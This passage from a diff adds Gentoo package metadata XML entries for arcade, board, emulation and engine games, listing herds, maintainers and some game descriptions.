+<herd>no-herd</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+</maintainer>
+<longdescription>
+Ascii-Invaders is a clone of Space Invaders for text-terminals using the curses library. It compiles and runs on MacOS X, GNU/Linux and probably any other system with a curses implementation.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/balloonchase">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/blobwars">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/briquolo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/bub-n-bros">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/bumprace">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/cavezofphear">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/cervi">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/circuslinux">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/cob">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/crack-attack">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/criticalmass">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/ddrmat">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/digger">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/emilia-pinball">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/excido">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/frozen-bubble">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/gav">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/grande-KXL">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/gunocide2ex">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/jumpnbump">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/kamikaze">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/kobodeluxe">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/koules">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/late">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/lbreakout">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/lbreakout2">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/marbleblastdemo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Marble Blast is an arcade action game with simple yet addictive gameplay, 
+suitable for players of any age. In the rich cartoon landscape of Marble 
+Blast, players will race their marbles through moving platforms, dangerous 
+hazards, sparkling treasures and power up enhancements in an effort to 
+complete each course in record time.
+
+Marble Blast introduces new players to the game with a set of 
+progressively more difficult beginner training levels, each designed to 
+showcase a power up or game hazard. The hazards players will face in 
+Marble Blast include powerful fans, whirling tornados, land mines, 
+pinball-style bumpers, narrow catwalks, moving pistons, dizzying chasms, 
+and more.
+
+To get past these obstacles, players can find and use five different 
+ability enhancing power ups - the SuperSpeed, SuperJump, SuperBounce, 
+Shock Asbsorber and Gyrocopter. Some levels contain gravity modifiers, 
+which allow the player to change the direction of gravity.
+
+Marble Blast comes with 72 whimsical and challenging levels, as well as 
+the ability for advanced players to craft and share their own levels. 
+Marble Blast is sure to provide many hours of fun for the whole family.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/marbleblastgolddemo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Marble Blast Gold is an arcade action game with simple yet 
+addictive gameplay, suitable for players of any age. In the 
+rich cartoon landscape of Marble Blast Gold, players will race 
+their marbles through moving platforms, dangerous hazards, 
+sparkling treasures and power up enhancements in an effort to 
+complete each course in record time.
+
+Marble Blast Gold introduces new players to the game with a set 
+of progressively more difficult beginner training levels, each 
+designed to showcase a power up or game hazard. The hazards 
+players will face in Marble Blast include powerful fans, 
+whirling tornados, land mines, pinball-style bumpers, narrow 
+catwalks, moving pistons, dizzying chasms, and more.
+
+To get past these obstacles, players can find and use five 
+different ability enhancing power ups - the SuperSpeed, 
+SuperJump, SuperBounce, Shock Absorber and Gyrocopter. Some 
+levels contain gravity modifiers, which allow the player to 
+change the direction of gravity.
+
+Marble Blast Gold comes with 100 whimsical and challenging 
+levels, as well as the ability for advanced players to craft 
+and share their own levels. Each level has &quot;gold standard&quot; set 
+for the high score, so you can test your skills against the 
+record 'gold' times. Marble Blast Gold is sure to provide many 
+hours of fun for the whole family.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/missile">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/monkey-bubble">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/netris">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/njam">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/openmortal">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/pachi">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/pacmanarena">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/penguin-command">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/project-starfighter">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/pycadia">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/pydance-songs">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/pydance">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/rocksndiamonds">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/sdl-sopwith">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/sdlroids">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/sdlsasteroids">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/skystreets">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/solarwolf">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/ssc">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/supertux">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/thinktanksdemo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+ThinkTanks is a tank combat game designed to be a blast for the new and 
+experienced gamer alike with lighthearted, fast paced pandemonium. Either 
+battling against brain-hungry bots in solo play or going head-to-head against 
+others online, ThinkTanks has something for everyone.
+
+You find yourself in a ThinkTank... just one of many brain slaves imprisoned by 
+Alien Mind Control-- only you have managed to escape their brain rays. But the 
+moment you are free, you are besieged on all sides by insane bot-tanks. You must 
+destroy or be destroyed and keep on your toes at all times. Luckily you can 
+collect powerups that give you wacky weapons to help you stay alive. As you 
+progress through each level, the bot tanks get smarter, stronger and crazier as 
+Alien Mind Control reprograms the bot tanks to match your wits. Your goal is to 
+beat the bosses, then rescue your brain-brethren and continue the fight on other 
+worlds.
+
+Upon entering, you are immediately engaged by heavy artillery. This is 
+no-holds-barred warfare and to the victor go the points. You can be catapulted or 
+thrust in any direction by rolling over the boost and jump pads to escape attack 
+or rush the enemy. The lush, green hills are scattered with bots on the warpath, 
+bots choking in their own smoke, floating orbs with special powers and 
+ammunition, boulders, trees, AND the dreaded pit of doom. The goal here is to 
+keep your brain intact, and triumph over bots of every shape, size, speed and 
+skill.
+
+You are cast into a veritable feeding frenzy of tanks. You need to simultaneously 
+track the position of your tank relative to the scrum ball using your radarscope, 
+while navigating your tank along the bumpy terrain. If you are quick enough to 
+pick up the ball yourself, you must make a mad dash to the goal, evading the 
+thirsty pack of mad bots heavy on your trail. You win by capturing the most scrum 
+balls in the allotted time.
+
+Both On-line BattleMode and Scrum games have team-play variants and online chat 
+that allow players to play together cooperatively.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/tuxpuck">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/tuxracer-demo">
+<herd>games</herd>
+<longdescription>
+In Tux Racer, players race as one of four arctic characters (including the popular 
+Linux&#xAE; Mascot, Tux the Penguin) through eighteen thrilling downhill courses, while 
+collecting herring and performing tricks along the way. Enter cups and compete to win 
+the title! Tux Racer includes a variety of options for gameplay, including the 
+ability to race courses for time, against computer opponents and even your friends in 
+fog, snow, and high winds.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/tuxracer">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xbill">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xboing">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xevil">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xgalaga">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xkobo">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xrick">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/xtux">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+  <name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-arcade/yarsrevenge">
+<herd>games</herd>
+<longdescription>
+A rather wierd shoot-em-up game that originated on the Atari 2600. It's more fun 
+than it looks. Just released so might be tweaked.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/ace">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/cgoban">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/cgoban2">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/crafty">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/daemonshogi">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/eboard">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/ggz-gtk-client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/ggz-gtk-games">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/ggz-txt-client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnocatan">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnono">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnubg">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnuchess">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnugo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gnushogi">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gtkatlantic">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/gtkboard">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/hexxagon">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/knights">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/kwappen">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/mah-jong">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/maitretarot">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/mt_dolphin_ia">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/mt_gtk_client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/mt_ncurses_client">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/pysol-sound-server">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/pysol">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/r-katro">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/scid">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/sirius">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/six">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/sjeng">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/slibo">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/teg">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xboard">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xfrisk">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xgammon">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xmahjongg">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xscrabble">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-board/xskat">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/advancemame">
+<herd>games</herd>
+<longdescription>
+AdvanceMAME and AdvanceMESS are unofficial MAME and MESS versions with an advanced video support for 
+helping the use with TVs, Arcade Monitors, Fixed Frequencies Monitors and also for PC Monitors.
+
+They run in GNU/Linux, Mac OS X, DOS, Windows and in all the other platforms supported by the SDL library.
+
+The main difference compared with the official emulators is that the Advance versions program directly the 
+video board to always get a video mode with the correct size and frequency.
+
+Generally the Advance emulators are able to use a video mode which doesn't require any stretching or other 
+unneeded effects to match the original arcade display. When the stretching is required by hardware 
+limitations you can anyway choice from different types of stretch.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/atari800">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Atari800 is an Atari 800, 800XL, 130XE and 5200 emulator for Unix, Amiga, MS-DOS, Atari 
+TT/Falcon, SDL and WinCE. Our main objective is to create a freely distributable portable 
+emulator (i.e. with source code available). It can be configured to run in the following 
+ways :
+
+    * BASIC mode
+    * CURSES mode
+    * SVGALIB for Linux Systems
+    * X Window + Optional XVIEW or MOTIF User Interface
+    * CBM Amiga
+    * MS-DOS
+    * TOS (Atari Falcon030/TT030 and compatible)
+    * MS Windows (DirectX)
+    * SDL (many different platforms and systems)
+    * WinCE
+    * MacOS X
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/daphne">
+<herd>no-herd</herd>
+<longdescription>
+Welcome to DAPHNE, the First Ever Multiple Arcade Laserdisc Emulator! =]  DAPHNE is a 
+program that lets one play the original versions of many laserdisc arcade games on 
+one's PC.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/emutos">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/hatari">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/nwwine">
+<herd>wine</herd>
+<longdescription>
+This package allows you to run many winodws applications in your *nix environment. It can be used either with your existing Windows instalation or without it.
+</longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/openmsx">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/psemu-cdr">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/psemu-padjoy">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/virtualjaguar">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+<longdescription>
+The Virtual Atari Jaguar GCC/SDL portable Jaguar emulator which is based on
+the source code released by Cal2 of Potato Emulation.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/xmame">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Mame is an arcade machine emulator. Started in 1997 by Nicola Salmoria, mame started out as a 
+series of emulators for individual games. This series of emulators was combined into a simgle 
+multi-game emulator. This is the current form of mame; no longer a one-man show, there are over 100 
+contributors to the project.
+
+Mame was created by Nicola Salmoria.
+
+Mess is just like mame---a virtual machine emulator, only it doesn't emulate arcade machines but 
+rather computers and consoles.
+
+Xmame/xmess are the Unix/X11 ports of the mame and mess projects. It makes mame/mess available on 
+*ix machines using the X11R6 X-Window System (and SVGAlib/ggi/XF86-DGA/OpenGL/SDL too).
+
+Mame was orginally ported by Allard Van Der Bas, Dick the Ridder, Juan Antonio Martinez, and Hans 
+de Goede.
+
+Xmame/xmess is currently maintained by Lawrence Gold.
+
+Xmame/xmess is based on the mame/mess source code. Due to technical reasons beyond the scope of 
+this document, the mame/mess source may not compile under Unix. That's why the xmame/xmess project 
+exists. Each time mame/mess is updated, the code is tested (and patched if needed) under Unix. This 
+way xmame/xmess releases are always the same as their mame counterparts.
+
+There are no plans for the independent development of xmame/xmess.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-emulation/xmess">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Mame is an arcade machine emulator. Started in 1997 by Nicola Salmoria, mame started out as a 
+series of emulators for individual games. This series of emulators was combined into a simgle 
+multi-game emulator. This is the current form of mame; no longer a one-man show, there are over 100 
+contributors to the project.
+
+Mame was created by Nicola Salmoria.
+
+Mess is just like mame---a virtual machine emulator, only it doesn't emulate arcade machines but 
+rather computers and consoles.
+
+Xmame/xmess are the Unix/X11 ports of the mame and mess projects. It makes mame/mess available on 
+*ix machines using the X11R6 X-Window System (and SVGAlib/ggi/XF86-DGA/OpenGL/SDL too).
+
+Mame was orginally ported by Allard Van Der Bas, Dick the Ridder, Juan Antonio Martinez, and Hans 
+de Goede.
+
+Xmame/xmess is currently maintained by Lawrence Gold.
+
+Xmame/xmess is based on the mame/mess source code. Due to technical reasons beyond the scope of 
+this document, the mame/mess source may not compile under Unix. That's why the xmame/xmess project 
+exists. Each time mame/mess is updated, the code is tested (and patched if needed) under Unix. This 
+way xmame/xmess releases are always the same as their mame counterparts.
+
+There are no plans for the independent development of xmame/xmess.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/exult">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/freesci">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/frotz">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/kwest">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/scummvm-tools">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/scummvm">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/xzip">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-engines/zoom">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
